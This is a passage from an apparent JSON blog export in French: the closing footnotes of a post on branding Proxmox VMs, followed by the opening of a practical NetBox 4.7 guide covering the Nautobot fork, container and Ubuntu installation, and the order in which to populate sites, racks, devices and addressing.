1 MiB.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSeaBIOS, src/jpeg.c — PIC écrit le bleu en premier en little-endian, PIC_32 à la ligne 946 écrit le rouge en premier sans branche d\u0026rsquo;endianness ; ERR_NOT_SEQUENTIAL_DCT et ERR_NOT_YCBCR_221111 sont les seuls formats refusés.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSeaBIOS, vgasrc/svgamodes.c — le mode 0x111 est du 640×480 en 16 bits, 0x142 du 640×480 en 32.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-edk2-firmware, debian/rules at 4.2026.08-1 — cp -a debian/Logo.bmp MdeModulePkg/Logo/Logo.bmp, la chaîne PcdFirmwareVendor et les options de build d\u0026rsquo;OVMF.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nqemu-server, src/PVE/QemuServer/OVMF.pm — la table de firmwares codée en dur sous /usr/share/pve-edk2-firmware/, le choix SMM et le nœud de bloc pflash0.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-edk2-firmware, debian/changelog — 4.2026.08-1 : « Besides many bug and security fixes … fix CVE-2024-13745 ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian, apt.conf(5), trixie — « Pre-Invoke, Post-Invoke: This is a list of shell commands to run before/after invoking dpkg(1) … should any fail APT will abort. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU v11.0.3, hw/pci/pci.c — DEFINE_PROP_STRING(\u0026quot;romfile\u0026quot;, PCIDevice, romfile), une propriété que possède chaque périphérique PCI.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/OvmfPkgIa32X64.dsc — gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00, le fichier de plateforme que compile Proxmox.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, OvmfPkg/Library/PlatformBootManagerLib/BdsPlatform.c — BootLogoEnableLogo (), appelé depuis PlatformBootManagerAfterConsole.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nedk2-stable202608, BootGraphicsResourceTableDxe.c — SetBootLogo2 à la ligne 239 copie l\u0026rsquo;image ; le gestionnaire ReadyToBoot à 417 désinstalle et réinstalle la table « If BGRT data change happens ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nproxmox-widget-toolkit, src/Logo.js — proxmoxLogoSvg, 200×35, alt: 'Proxmox', avec un lien vers proxmox.com ; utilisé depuis le Workspace.js de pve-manager avec prefix: 'pwt'.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox VE wiki, FAQ — « Proxmox VE code is licensed under the GNU Affero General Public License, version 3. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGNU Affero General Public License v3, §13 Remote Network Interaction — cité en entier dans le texte ci-dessus.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProxmox, Media kit — « Don\u0026rsquo;t alter the logo or incorporate the logo or symbol into your logo. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/proxmox/branding-a-proxmox-vm/","summary":"Une VM Proxmox d\u0026rsquo;origine affiche le logo de Proxmox au démarrage, porte le nom de Proxmox dans la chaîne fournisseur de son firmware et se présente comme QEMU dans chaque table SMBIOS. Ce billet remplace tout cela par le nom de votre produit : les types SMBIOS 0, 1, 2, 3 et 11, avec le numéro de série et le SKU tirés du nom et de la taille de la VM, l\u0026rsquo;écran de démarrage SeaBIOS et son piège de couleurs, un OVMF à votre marque compilé depuis l\u0026rsquo;arbre de Proxmox lui-même ou un pilote en ROM d\u0026rsquo;option qui remplace le logo et la BGRT sous Secure Boot sans toucher au firmware, et le logo de l\u0026rsquo;interface web. Chaque changement est placé pour qu\u0026rsquo;une mise à jour ne puisse pas le défaire en silence, et celui qu\u0026rsquo;une mise à jour peut laisser dangereusement périmé, le firmware, reçoit un hook qui le signale.","title":"Mettre sa marque sur une VM Proxmox, et l'y garder après la prochaine mise à jour"},{"content":"Tout ce qui se trouve dans ce billet a été exécuté contre un NetBox 4.7.2 posé sur mon propre bureau, avec un vrai parc chargé dedans : un site, une baie, quatorze équipements, câblés, alimentés et adressés chez trois clients. Chaque capture est cette instance, et chaque message d\u0026rsquo;erreur est un message que j\u0026rsquo;ai réellement obtenu.\nL\u0026rsquo;ordre est celui dans lequel vous rencontreriez les choses. Ce qu\u0026rsquo;est la bête, pourquoi vous en voudriez une, le fork dont vous entendrez parler en une semaine de recherches, comment en monter une, l\u0026rsquo;ordre dans lequel il faut la remplir, puis ce que vous en ressortez. Le travail de personnalisation et d\u0026rsquo;extension arrive à la fin, parce que rien de tout cela n\u0026rsquo;a de sens avant d\u0026rsquo;avoir vu la forme de ce que vous étendez.\nCe qu\u0026rsquo;est NetBox NetBox est une base de données qui a un avis très précis sur ce dont un réseau est fait, et une application web posée dessus. C\u0026rsquo;est une application Django sur PostgreSQL, elle est open source sous Apache 2.0 depuis que DigitalOcean l\u0026rsquo;a publiée en juin 2016, et le projet est aujourd\u0026rsquo;hui pris en charge par NetBox Labs aux côtés d\u0026rsquo;une équipe de mainteneurs bénévoles.12\nEn dessous, ce sont 149 modèles répartis sur dix applications, atteints par 146 endpoints REST et un endpoint GraphQL. Compté sur l\u0026rsquo;instance que j\u0026rsquo;ai construite pour l\u0026rsquo;occasion, et non relevé sur une page marketing :\nApplication Modèles Application Modèles dcim 56 virtualization 7 extras 23 tenancy 6 ipam 18 wireless 3 circuits 11 users 7 vpn 10 core 8 Cinquante-six d\u0026rsquo;entre eux sont du DCIM, la couche physique : sites, locations, baies, types d\u0026rsquo;équipement, équipements, et chaque sorte de port, de baie interne et de terminaison de câble qu\u0026rsquo;un équipement peut porter. Dix-huit sont de l\u0026rsquo;IPAM. Le reste couvre les liens opérateur, les tunnels et les politiques IKE, les machines virtuelles et les clusters, les liaisons sans fil, la gestion multi-client, et la machinerie qui rend l\u0026rsquo;ensemble extensible.\nLe nombre n\u0026rsquo;est pas le sujet. Les jointures le sont, et le plus rapide pour le voir est l\u0026rsquo;écran pour lequel NetBox est le plus connu.\nCommencez par la baie, parce que c\u0026rsquo;est l\u0026rsquo;écran qui vend la chose.\nCette élévation est dessinée à partir des données, elle n\u0026rsquo;est pas téléversée. Chaque équipement y est parce que quelque chose dit qu\u0026rsquo;il occupe ces unités, orienté de cette façon, et les couleurs viennent du rôle que vous lui avez donné. L\u0026rsquo;utilisation de l\u0026rsquo;espace affiche 28,6 % parce que NetBox l\u0026rsquo;a calculée. Personne n\u0026rsquo;entretient ce chiffre.\nDeux choses en découlent, et elles valent davantage que l\u0026rsquo;image.\nVous pouvez demander quelles unités sont libres et obtenir une réponse exploitable. Vous pouvez aussi réserver des unités avant que quoi que ce soit n\u0026rsquo;y soit installé, et c\u0026rsquo;est la différence entre vendre de l\u0026rsquo;espace que vous avez et vendre de l\u0026rsquo;espace que vous croyez avoir.\nCe qu\u0026rsquo;il refuse délibérément de faire Un produit qui sait ce qu\u0026rsquo;il n\u0026rsquo;est pas est plus rare qu\u0026rsquo;un produit qui fait tout mal, et la documentation de NetBox est franche là-dessus. Il ne fournit ni supervision réseau, ni service DNS, ni RADIUS, ni gestion de configuration, ni gestion des installations techniques.1\nPlus important encore, il contient l\u0026rsquo;état souhaité de votre réseau et non son état opérationnel, et la documentation dit que l\u0026rsquo;import automatisé de l\u0026rsquo;état réel du réseau est « strongly discouraged », parce que chaque enregistrement devrait d\u0026rsquo;abord être validé par un humain.1\nC\u0026rsquo;est la décision sur laquelle tout le reste repose, et c\u0026rsquo;est celle que les gens contestent. L\u0026rsquo;argument est : une source de vérité devrait bien être la vérité, donc découvrez le réseau et chargez-le. La réponse est qu\u0026rsquo;un réseau découvert vous dit ce qui est là, et ce qui est là inclut toutes les erreurs que quiconque a jamais commises. Un port de commutateur laissé dans le mauvais VLAN en 2021 est un fait. Ce n\u0026rsquo;est pas une intention.\nNetBox contient l\u0026rsquo;intention. Votre supervision contient la réalité. Le chiffre intéressant est l\u0026rsquo;écart entre les deux, et on ne calcule pas un écart à partir d\u0026rsquo;une seule entrée.\nL\u0026rsquo;autre principe est énoncé tout aussi clairement : entre une solution relativement simple à quatre-vingts pour cent et une solution complète bien plus complexe, prenez la simple.1 Vous le sentirez la première fois que vous voudrez modéliser quelque chose qu\u0026rsquo;il ne modélise pas, et il y a vers la fin toute une série de sections sur ce qu\u0026rsquo;il faut faire à ce moment-là.\nNetBox fait NetBox ne fait pas Consigner ce qui devrait être là Interroger ce qui est là Contenir le VLAN prévu pour un port Vous dire que le port est tombé Dire à quel client appartient un préfixe Le lui facturer Rendre la configuration d\u0026rsquo;un équipement depuis un gabarit La pousser sur l\u0026rsquo;équipement Suivre le lien, l\u0026rsquo;opérateur et l\u0026rsquo;engagement Superviser le lien Dire dans quelle baie est un équipement, et à quelle U Ouvrir l\u0026rsquo;armoire Lisez la colonne de droite comme la liste des outils dont vous avez encore besoin. Lisez-la de travers et vous essaierez de faire de NetBox tous ces outils, et c\u0026rsquo;est ainsi qu\u0026rsquo;une source de vérité devient un système de plus auquel personne ne fait confiance.\nPourquoi il vous en faut une Demandez à un prestataire de services managés où se trouve l\u0026rsquo;enregistrement de référence du réseau d\u0026rsquo;un client, et vous obtiendrez une réponse. Demandez séparément à deux de ses ingénieurs et vous en obtiendrez deux.\nL\u0026rsquo;un montrera un tableur. L\u0026rsquo;autre montrera un schéma enregistré pour la dernière fois par quelqu\u0026rsquo;un parti en 2023. Un troisième dira que la configuration du pare-feu est la documentation, ce qui est au moins honnête, car une configuration décrit bien ce que fait une machine. Elle ne décrit simplement pas pourquoi, ni qui l\u0026rsquo;a demandé, ni lequel des quatre clients derrière cette machine paie pour la règle.\nL\u0026rsquo;échec n\u0026rsquo;est jamais le jour où vous remarquez que l\u0026rsquo;enregistrement est faux. C\u0026rsquo;est le jour où quelqu\u0026rsquo;un en a besoin.\nLe moment Ce que vous devez produire Ce que ça coûte quand vous ne pouvez pas Une discussion de renouvellement Un détail poste par poste de ce que paie l\u0026rsquo;abonnement mensuel Le devis du concurrent est détaillé, parce qu\u0026rsquo;il est allé compter Un ingénieur démissionne Tout ce qu\u0026rsquo;il savait, écrit Six mois à le redécouvrir, un ticket à la fois Un client part Une description de son propre parc Trois semaines pour l\u0026rsquo;assembler, et une référence qu\u0026rsquo;il donnera honnêtement Un auditeur pose une question de périmètre Quels systèmes détiennent des données personnelles, et où ils sont physiquement Un régulateur à qui on a dit quelque chose qui s\u0026rsquo;avère faux ensuite Une migration doit être chiffrée Un décompte de ce qui est réellement là Vous répondez sur une estimation et vous absorbez la différence Rien de tout cela n\u0026rsquo;est exotique. C\u0026rsquo;est un mardi.\nCe que vous en retirez n\u0026rsquo;est pas de la documentation. La documentation est une chose qu\u0026rsquo;on écrit puis qu\u0026rsquo;on arrête d\u0026rsquo;entretenir. Ce que vous obtenez est une base qui refuse de contenir une contradiction, et qui répond à des questions que personne n\u0026rsquo;avait pensé à lui poser. Il y a plus loin dans ce billet une baie qui se révèle remplie à 28,6 pour cent de matériel et à 90,7 pour cent d\u0026rsquo;électricité. Personne n\u0026rsquo;a cherché à trouver ça. C\u0026rsquo;est tombé d\u0026rsquo;une puissance saisie une fois sur un type d\u0026rsquo;équipement.\nLa réserve honnête vient avec, et la dernière section en parle. Un enregistrement ne vaut que ce qu\u0026rsquo;il vous coûte de le tenir juste. Mais l\u0026rsquo;alternative est une entreprise incapable de se décrire, et le premier à s\u0026rsquo;en apercevoir est généralement un client.\nL\u0026rsquo;autre : Nautobot Vous tomberez dessus en à peu près une semaine de recherches, donc autant savoir ce qui s\u0026rsquo;est passé.\nEn 2021, Network to Code a forké NetBox et a appelé le résultat Nautobot. Pas un fork léger ni une distribution : un fork dur qui divergent depuis cinq ans. Ses propres notes de version v1.0 le décrivent comme « a divergent fork of NetBox 2.10 », le dépôt a été créé le 19 février 2021 et la v1.0.0 est sortie le 26 avril 2021.3\nLes raisons annoncées sont sur leur propre blog et méritent d\u0026rsquo;être lues dans leurs mots plutôt que dans les miens. Trois choses l\u0026rsquo;ont motivé. Ils voulaient vendre du support entreprise : « We need to offer high-touch support models with Service Level Agreements (SLAs) we can guarantee. We need flexibility to offer Long-term Support (LTS) for customers who can\u0026rsquo;t upgrade at the pace of a fast moving open source project. » Ils voulaient que la source de vérité siège au centre d\u0026rsquo;une plateforme d\u0026rsquo;automatisation plutôt qu\u0026rsquo;elle serve la documentation. Et « there became a growing divergence in our vision about what a Source of Truth for networking should look like and how to get there ».4\nÀ cette première raison, il faut attacher sa date, car elle a cessé d\u0026rsquo;être vraie. En février 2021, il n\u0026rsquo;y avait aucune société derrière NetBox pour vous vendre quoi que ce soit. NetBox Labs n\u0026rsquo;a été fondée qu\u0026rsquo;en 2023, en spin-out de NS1 après son acquisition par IBM, cofondée par le mainteneur principal de NetBox lui-même.5\nEt ce n\u0026rsquo;est pas un tiers qui aurait bâti une activité sur le projet d\u0026rsquo;un autre. NetBox Labs est le dépositaire de NetBox : la documentation du projet dit elle-même « the open source project is stewarded by NetBox Labs and a team of volunteer maintainers ».1 Ils vendent NetBox Enterprise pour les installations autogérées, l\u0026rsquo;hébergent pour vous sous le nom de NetBox Cloud, et proposent un support 24/7.6\nDonc « you cannot buy support for NetBox » était une chose juste à dire quand Network to Code a forké, et ce n\u0026rsquo;est plus une chose juste à dire aujourd\u0026rsquo;hui. Les deux projets ont derrière eux une société commerciale qui signera quelque chose, et dans le cas de NetBox cette société est celle qui prend en charge le projet.\nLa phrase que la plupart des gens manquent est la suivante, et c\u0026rsquo;est la raison pour laquelle ce n\u0026rsquo;est pas une histoire sordide : « the NetBox project team suggested that we should consider forking. »\nUn fork ne devient guère plus civilisé. Deux groupes voulaient des choses différentes, l\u0026rsquo;ont dit sur une longue période, et se sont séparés plutôt que de se battre autour d\u0026rsquo;une seule base de code. Les deux moitiés sont toujours en Apache 2.0. Personne n\u0026rsquo;a pris quoi que ce soit qu\u0026rsquo;il n\u0026rsquo;avait pas le droit de prendre.\nÀ quoi le fork servait vraiment Les notes de version de Nautobot 1.0 listent ce qu\u0026rsquo;il a ajouté par rapport à NetBox 2.10, et la liste raconte le débat mieux que n\u0026rsquo;importe quel billet de blog :3\nCe que Nautobot a ajouté en 2021 Où en est NetBox aujourd\u0026rsquo;hui Prise en charge de GraphQL NetBox l\u0026rsquo;a Intégration Git comme source de données NetBox l\u0026rsquo;a, sous forme de sources de données synchronisées Authentification unique NetBox l\u0026rsquo;a Secrets NetBox l\u0026rsquo;a via un plugin Scripts et rapports regroupés en Jobs NetBox sort les scripts vers un plugin en 4.7 Custom fields sur tous les modèles NetBox a une prise en charge large des custom fields API de plugin de validation de données NetBox a des custom validation rules Statuts personnalisables, comme objets en base Les statuts de NetBox restent un choice set Python Relations définies par l\u0026rsquo;utilisateur entre modèles NetBox n\u0026rsquo;a pas d\u0026rsquo;équivalent Clés primaires UUID NetBox utilise des clés entières Améliorations de l\u0026rsquo;API de plugin Le framework de plugins de NetBox a beaucoup grandi depuis La moitié supérieure a largement convergé. Plusieurs choses livrées par Nautobot en 2021 sont arrivées dans NetBox ensuite, et c\u0026rsquo;est généralement ce qui se produit quand deux projets résolvent les mêmes problèmes en public.\nLes trois du bas n\u0026rsquo;ont pas convergé, et elles sont architecturales plutôt que cosmétiques. J\u0026rsquo;ai vérifié les deux bases de code aujourd\u0026rsquo;hui plutôt que de me fier aux notes de 2021.\nLe Status de Nautobot est un modèle en base, décrit dans son propre code source comme un « Model for database-backend enum choice objects », donc un statut est une ligne que quelqu\u0026rsquo;un peut ajouter dans l\u0026rsquo;interface. Les statuts de NetBox viennent d\u0026rsquo;un choice set Python, ce qui explique pourquoi la section plus bas en ajoute un en modifiant configuration.py et en redémarrant. Nautobot a des modèles Relationship et RelationshipAssociation, vous pouvez donc définir une relation entre deux types d\u0026rsquo;objets existants sans écrire de code. La réponse de NetBox à ce problème est un plugin, et c\u0026rsquo;est la dernière série de sections de ce billet. Et les clés primaires de Nautobot sont des UUID, là où celles de NetBox sont des entiers.\nIls ont aussi fait ce pour quoi ils avaient forké. Aujourd\u0026rsquo;hui Nautobot publie 3.2.x et 2.4.x le même jour, ce qui est une véritable ligne de maintenance au long cours parallèle à la version courante, et c\u0026rsquo;était l\u0026rsquo;une des trois raisons annoncées.\nLequel des deux Les chiffres honnêtes d\u0026rsquo;abord. NetBox a 21 625 étoiles et 3 133 forks ; Nautobot en a 1 617 et 422.7 Les deux ont reçu un push dans les deux derniers jours, les deux sont en Apache 2.0, et les deux ont désormais derrière eux une société commerciale qui vend du support et de l\u0026rsquo;hébergement.\nCet écart n\u0026rsquo;est pas un jugement sur la qualité. Il reflète cinq ans d\u0026rsquo;avance et le fait que la plupart des gens qui ont besoin d\u0026rsquo;une source de vérité trouvent NetBox en premier. Mais il décide de ce qui compte généralement plus que les fonctionnalités : combien de plugins, d\u0026rsquo;intégrations, de modules Ansible, de réponses de forum et de collègues vous trouverez pour celui que vous choisissez.\nDonc : si vous voulez un inventaire et une source de vérité que d\u0026rsquo;autres systèmes lisent, et que vous voulez le plus grand écosystème et le recrutement le plus facile, la réponse est NetBox, et c\u0026rsquo;est de cela que parle le reste de ce billet. Si votre raison de vouloir une source de vérité est précisément d\u0026rsquo;en piloter de l\u0026rsquo;automatisation, ou si vous voulez que les statuts et les relations soient définis par votre équipe plutôt que par un fichier de configuration et un redémarrage, allez regarder Nautobot sérieusement avant de décider.\nNe laissez personne vous vendre l\u0026rsquo;un ou l\u0026rsquo;autre sur le seul support. Les deux camps couvrent ça désormais, et les différences qui seront encore là dans cinq ans sont celles du tableau ci-dessus.\nCe qu\u0026rsquo;il ne faut pas faire, c\u0026rsquo;est en choisir un parce que quelqu\u0026rsquo;un vous a dit que l\u0026rsquo;autre était mort. Aucun ne l\u0026rsquo;est, et les deux ont encore livré des versions cette semaine.\nEn mettre un en route Deux chemins, et je les ai suivis tous les deux pour l\u0026rsquo;occasion. Les conteneurs si vous voulez que ça tourne en vingt minutes, les paquets sur un hôte si ça doit devenir porteur.\nLa pile de conteneurs La communauté maintient netbox-docker, et c\u0026rsquo;est la réponse rapide :8\ngit clone -b release https://github.com/netbox-community/netbox-docker.git cd netbox-docker tee docker-compose.override.yml \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; services: netbox: ports: - 8000:8080 EOF docker compose pull docker compose up Cela vous donne l\u0026rsquo;application, PostgreSQL, Redis et un worker d\u0026rsquo;arrière-plan, câblés ensemble. J\u0026rsquo;ai construit la même chose à la main sous podman pour voir les pièces, et les pièces méritent d\u0026rsquo;être connues parce que deux d\u0026rsquo;entre elles piègent les gens :\nConteneur Ce qu\u0026rsquo;il fait Si vous l\u0026rsquo;omettez netbox L\u0026rsquo;application Django derrière gunicorn rien ne marche postgres La base, 15 ou plus récent rien ne marche redis / valkey Deux bases : une pour les tâches, une pour le cache rien ne marche netbox-worker rqworker, qui vide la file de tâches les webhooks ne partent jamais, les tâches de fond ne tournent jamais, et rien ne vous avertit netbox-housekeeping Le rangement périodique les entrées du journal des changements n\u0026rsquo;expirent jamais Cette quatrième ligne est la bonne. Sans worker, tout a l\u0026rsquo;air en bonne santé. Les event rules s\u0026rsquo;empilent et restent là.\nDeux choses m\u0026rsquo;ont mordu au premier lancement, et aucune ne figure dans un message d\u0026rsquo;erreur que vous chercheriez.\nLa première migration prend longtemps. Pas une minute. Sur cette machine il en a fallu plusieurs, parce que NetBox 4.7 remplace django-mptt par ltree de PostgreSQL et reconstruit au passage chaque table hiérarchique. Le conteneur reste simplement là à appliquer des migrations. Laissez-le tranquille.\nSans API_TOKEN_PEPPERS vous ne pouvez pas créer de jeton d\u0026rsquo;API v2, et le seul signe est un avertissement dans le journal :\nUserWarning: API_TOKEN_PEPPERS is not defined. v2 API tokens cannot be used. Définissez-en au moins un, d\u0026rsquo;au moins cinquante caractères, avant d\u0026rsquo;aller chercher pourquoi l\u0026rsquo;API vous rejette.\nSur un hôte, depuis les paquets Le chemin documenté est testé sur Ubuntu 24.04. Je l\u0026rsquo;ai mené de bout en bout sur une installation propre, et voilà où ça a atterri :\nComposant Ce que 24.04 m\u0026rsquo;a donné Ce dont NetBox 4.7 a besoin PostgreSQL 16.15 15 ou plus récent Redis 7.0.15 6.0 ou plus récent Python 3.12.3 3.12, 3.13 ou 3.14 Django 6.1.1 fourni avec NetBox NetBox v4.7.2 Ces minimums sont ceux de NetBox, et la 4.7 a relevé le plancher PostgreSQL comme le plancher Redis.9\nLe travail entier tient en cinq étapes.\n# 1. the services sudo apt install -y postgresql redis-server sudo -u postgres psql -c \u0026#34;CREATE DATABASE netbox;\u0026#34; sudo -u postgres psql -c \u0026#34;CREATE USER netbox WITH PASSWORD \u0026#39;something-you-generated\u0026#39;;\u0026#34; sudo -u postgres psql -c \u0026#34;ALTER DATABASE netbox OWNER TO netbox;\u0026#34; sudo -u postgres psql -d netbox -c \u0026#34;GRANT CREATE ON SCHEMA public TO netbox;\u0026#34; # 2. the build dependencies sudo apt install -y python3 python3-pip python3-venv python3-dev build-essential libxml2-dev libxslt1-dev libffi-dev libpq-dev libssl-dev zlib1g-dev git # 3. the application, at a release tag rather than at main sudo mkdir -p /opt/netbox \u0026amp;\u0026amp; cd /opt/netbox sudo git clone https://github.com/netbox-community/netbox.git . sudo git checkout v4.7.2 sudo adduser --system --group netbox sudo chown -R netbox /opt/netbox/netbox/media/ /opt/netbox/netbox/scripts/ /opt/netbox/netbox/reports/ # 4. the configuration: five values, no more cd /opt/netbox/netbox/netbox/ sudo cp configuration_example.py configuration.py python3 /opt/netbox/netbox/generate_secret_key.py # run it twice sudo $EDITOR configuration.py # 5. let the upgrade script do the rest sudo /opt/netbox/upgrade.sh Ces cinq valeurs sont ALLOWED_HOSTS, DATABASES, REDIS, SECRET_KEY et API_TOKEN_PEPPERS. Générez les deux dernières séparément et n\u0026rsquo;utilisez pas l\u0026rsquo;une pour l\u0026rsquo;autre. Lancez donc le générateur de clé deux fois et collez les résultats sur des lignes différentes.\nupgrade.sh construit l\u0026rsquo;environnement virtuel, installe chaque dépendance Python, exécute les migrations, construit la documentation pour l\u0026rsquo;usage hors ligne et collecte les fichiers statiques. Quand il termine sur une machine neuve, il affiche un avertissement qui a l\u0026rsquo;air alarmant et qui ne l\u0026rsquo;est pas :\nWARNING: No existing virtual environment was detected. A new one has been created. Update your systemd service files to reflect the new Python and gunicorn executables. (If this is a new installation, this warning can be ignored.) Ensuite un superutilisateur, et ça se lance ainsi :\nsource /opt/netbox/venv/bin/activate cd /opt/netbox/netbox \u0026amp;\u0026amp; python3 manage.py createsuperuser Pour quoi que ce soit de réel, mettez gunicorn devant plutôt que runserver. La configuration et les fichiers d\u0026rsquo;unité sont déjà dans le dépôt, et c\u0026rsquo;est le détail à connaître parce que les gens écrivent les leurs :\nsudo cp /opt/netbox/contrib/gunicorn.py /opt/netbox/gunicorn.py sudo cp -v /opt/netbox/contrib/*.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable --now netbox netbox-rq netbox.service fait tourner gunicorn sur 127.0.0.1:8001, netbox-rq.service fait tourner le worker, et nginx ou Apache se place devant pour terminer le TLS et servir /static. Deux services, et le second est le même worker dont la pile de conteneurs a besoin.\nL\u0026rsquo;ordre dans lequel il faut le remplir Un NetBox neuf est une base vide qui a des avis, et la première heure avec lui passe généralement à découvrir lesquels. Vous allez ajouter un équipement, et il ne vous laisse pas faire.\nCes astérisques rouges sont toute la leçon. NetBox n\u0026rsquo;enregistre rien avant que les choses auxquelles il s\u0026rsquo;accroche existent, et il ne fait pas la mauvaise tête : un équipement sans type est une ligne incapable de répondre à aucune des questions pour lesquelles un équipement existe.\nPlutôt que de deviner, j\u0026rsquo;ai donc demandé au modèle quelles clés étrangères sont réellement obligatoires, puis j\u0026rsquo;ai essayé de casser chaque règle par l\u0026rsquo;API pour voir ce qui revient.\nPOST /api/dcim/device-types/ no manufacturer {\u0026#34;manufacturer\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/dcim/devices/ no device type {\u0026#34;device_type\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/dcim/interfaces/ no device {\u0026#34;device\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/ipam/aggregates/ no RIR {\u0026#34;rir\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/circuits/circuits/ no provider, no type {\u0026#34;provider\u0026#34;: [\u0026#34;This field is required.\u0026#34;], \u0026#34;type\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/virtualization/virtual-machines/ nothing at all {\u0026#34;__all__\u0026#34;: [\u0026#34;A virtual machine must be assigned to a site, cluster, or device.\u0026#34;]} Chacun a refusé, en disant exactement ce qui manquait. Voici la même information sous forme de liste de prérequis :\nPour créer Requis d\u0026rsquo;abord Optionnel, mais vous le voulez d\u0026rsquo;abord Tenant rien un groupe de tenants Region, Site group rien un parent de même nature, ils s\u0026rsquo;imbriquent Site rien une Region, un Site group, un Tenant Location un Site une Location parente, un Tenant Rack type un Manufacturer Rack un Site une Location, Rack group, Rack role, Rack type, Tenant Device type un Manufacturer Device role rien une Device role parente, elles s\u0026rsquo;imbriquent Device une Device role, un Device type, un Site une baie et une position, une Platform, un Tenant Interface, et tout autre composant un Device Cable deux choses sur lesquelles terminer un Tenant Aggregate un RIR un Tenant VLAN rien un VLAN group, une Role, un Tenant Prefix rien un Site, un VLAN, une Role, un VRF, un Tenant IP address rien une Interface à laquelle l\u0026rsquo;affecter, un Tenant Circuit un Provider et un Circuit type un Tenant Circuit termination un Circuit un Site où atterrir Cluster un Cluster type un Cluster group, un Site, un Tenant Virtual machine un Site, un Cluster ou un Device une Platform, un Tenant VM interface une Virtual machine La deuxième colonne est celle qui vous coûte. Préfixes, adresses IP, VLAN et tenants n\u0026rsquo;exigent rien du tout, donc rien ne vous empêche de les créer au premier jour dans l\u0026rsquo;ordre qui vous plaît. Savoir s\u0026rsquo;ils servent à quelque chose est une autre question, car une adresse sans interface derrière elle est une ligne dans une liste, et un équipement sans tenant est un équipement que vous rééditerez plus tard.\nL\u0026rsquo;ordre dans lequel travailler vraiment Cela donne une séquence. Descendez-la et rien ne vous refuse jamais rien.\nD\u0026rsquo;abord, les choses auxquelles tout le reste s\u0026rsquo;accroche. Rien là-dedans n\u0026rsquo;est excitant et tout y est peu coûteux à rater.\nLes groupes de tenants, puis les tenants. Faites-les avant tout le reste. Vingt-huit modèles acceptent un tenant, dont Site, Location et Rack, donc si les clients n\u0026rsquo;existent pas encore vous ne pouvez pas les tamponner au passage et vous ferez de l\u0026rsquo;édition en masse plus tard. Les regions et les site groups. Les deux optionnels, les deux s\u0026rsquo;imbriquent en eux-mêmes, et ils sont indépendants l\u0026rsquo;un de l\u0026rsquo;autre. Les regions servent à la géographie, les site groups à la fonction, et vous pouvez utiliser l\u0026rsquo;un, les deux ou aucun. Les sites. La racine de presque tout. Un site n\u0026rsquo;exige rien, ce qui en fait la première chose que vous pouvez réellement créer. Les locations. Elles ont besoin d\u0026rsquo;un site, et elles s\u0026rsquo;imbriquent, donc une salle contenant des rangées contenant des pods est un seul modèle sur trois niveaux. Les rack roles et les rack groups. Les deux optionnels. Les rack groups sont plats et se placent à côté des locations comme second axe, ce qui est pratique pour les rangées et les pods. Les manufacturers, puis les rack types. Un rack type a besoin d\u0026rsquo;un manufacturer. Sautez les rack types si vous ne modélisez pas les armoires elles-mêmes. Les baies. Elles ont besoin d\u0026rsquo;un site. Si vous leur donnez aussi une location, cette location doit appartenir à ce site, et NetBox vérifie. Puis le catalogue matériel, pas le matériel. Avant de pouvoir ajouter un seul équipement il vous faut des manufacturers, des device types, des device roles et, en pratique, des platforms.\nLes manufacturers. Vous en avez peut-être déjà depuis l\u0026rsquo;étape 6, car les rack types en ont besoin aussi. Les module types également. Les device types, chacun ayant besoin d\u0026rsquo;un manufacturer. Les device roles, qui s\u0026rsquo;imbriquent, et les platforms. C\u0026rsquo;est l\u0026rsquo;étape que les gens sautent, et c\u0026rsquo;est l\u0026rsquo;étape qui décide de la quantité de saisie que coûtera le reste du travail. Un device type porte ses propres interfaces, ports et baies internes sous forme de gabarits, donc chaque équipement que vous créez à partir de lui arrive avec les bons composants déjà dessus. Faites le type correctement une fois et en racker quarante, c\u0026rsquo;est quarante noms.\nPlatform est l\u0026rsquo;intrus de cette liste, parce qu\u0026rsquo;un équipement n\u0026rsquo;en exige pas strictement une. Faites-le maintenant quand même. C\u0026rsquo;est elle qui portera plus tard le gabarit de configuration et le pilote NAPALM, et y revenir pour la poser sur un parc entier, c\u0026rsquo;est la même soirée que celle que vous auriez passée sur les tenants.\nPuis le matériel lui-même.\nLes équipements. Rôle, type et site sont tous obligatoires. Baie et position sont optionnelles, et si vous les donnez elles doivent être cohérentes avec le site. Les composants, si le device type ne les a pas déjà fournis. Les câbles, entre les composants. Puis l\u0026rsquo;adressage, car une adresse veut une interface sur laquelle vivre et l\u0026rsquo;interface n\u0026rsquo;existe qu\u0026rsquo;après l\u0026rsquo;étape 12.\nLes RIR, puis les aggregates. Les roles de préfixe et de VLAN, les VRF, les VLAN groups puis les VLAN. Les préfixes, puis les adresses IP individuelles. Puis la couche 